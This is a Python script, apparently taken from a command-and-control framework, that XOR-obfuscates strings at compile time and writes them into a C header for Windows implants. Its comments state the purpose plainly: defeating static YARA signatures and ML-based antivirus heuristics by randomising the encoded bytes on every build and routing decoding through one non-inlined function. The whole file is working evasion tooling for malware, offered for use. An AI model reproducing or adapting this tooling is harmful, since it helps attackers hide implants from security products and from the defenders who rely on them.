#!/usr/bin/env python3
"""
gen_evs.py — compile-time XOR string obfuscator for Windows implants.

Reads a two-column string table, encodes each string with a per-build
random XOR key, and writes a C header with static byte arrays.

Usage:
    python gen_evs.py [strings.txt] [-o include/evs_strings.h] [-k 0xNN]

String table format:
    plaintext_string    C_identifier_suffix
    # comment lines and blank lines are ignored

Output:
    C header with EVS_KEY define, EVS_<suffix>[] arrays, and EVS_D() macro.

Extracted from KHAOS C2 — https://github.com/28Zaaky/khaos-c2
"""
import os
import sys
import secrets
import argparse


def encode(plaintext: str, key: int) -> list:
    return [b ^ key for b in plaintext.encode("latin-1")]


def load_strings(path: str) -> list:
    pairs = []
    with open(path) as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            parts = line.split()
            if len(parts) < 2:
                sys.exit(f"bad line in {path!r}: {line!r}  (expected: plaintext identifier)")
            pairs.append((parts[0], parts[1]))
    return pairs


def main():
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("strings", nargs="?", default="strings.txt",
                    help="string table file (default: strings.txt)")
    ap.add_argument("-o", default="include/evs_strings.h",
                    help="output header path (default: include/evs_strings.h)")
    ap.add_argument("-k", default=None, metavar="0xNN",
                    help="fixed XOR key in hex (default: random per run)")
    args = ap.parse_args()

    if args.k:
        key = int(args.k, 16) & 0xFF
        if key == 0:
            sys.exit("key 0x00 is the XOR identity — use a non-zero value")
    else:
        key = secrets.randbelow(256)
        while key == 0:
            key = secrets.randbelow(256)

    pairs = load_strings(args.strings)

    lines = [
        "/* AUTO-GENERATED by gen_evs.py — do not edit.",
        " * EVS_KEY is randomised every build; all byte arrays change.",
        " * Defeats static YARA rules that match encoded API/DLL names.",
        " */",
        "#ifndef EVS_STRINGS_H",
        "#define EVS_STRINGS_H",
        "",
        f"#define EVS_KEY 0x{key:02x}u",
        "",
    ]

    for plaintext, suffix in pairs:
        enc = encode(plaintext, key)
        arr = ", ".join(f"0x{b:02x}" for b in enc)
        lines.append(
            f"static const unsigned char EVS_{suffix}[{len(enc)}]"
            f" = {{ {arr} }};  /* {plaintext} */"
        )

    lines += [
        "",
        "/* Runtime XOR decoder — defined in src/evs.c.",
        " * noinline: one code pattern in .text, not N inline XOR loops.",
        " * ML-based AV heuristics flag many identical short loops;",
        " * a single called function does not match that signature. */",
        "#ifndef EVS_DEC_DECL",
        "#define EVS_DEC_DECL",
        "#include <stddef.h>",
        "extern void evs_dec(char *out, const unsigned char *enc, size_t n);",
        "#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))",
        "#endif",
        "",
        "#endif /* EVS_STRINGS_H */",
        "",
    ]

    out_dir = os.path.dirname(args.o)
    if out_dir:
        os.makedirs(out_dir, exist_ok=True)

    with open(args.o, "w") as f:
        f.write("\n".join(lines))

    print(f"[ok] {args.o}  key=0x{key:02x}  {len(pairs)} strings encoded")


if __name__ == "__main__":
    main()
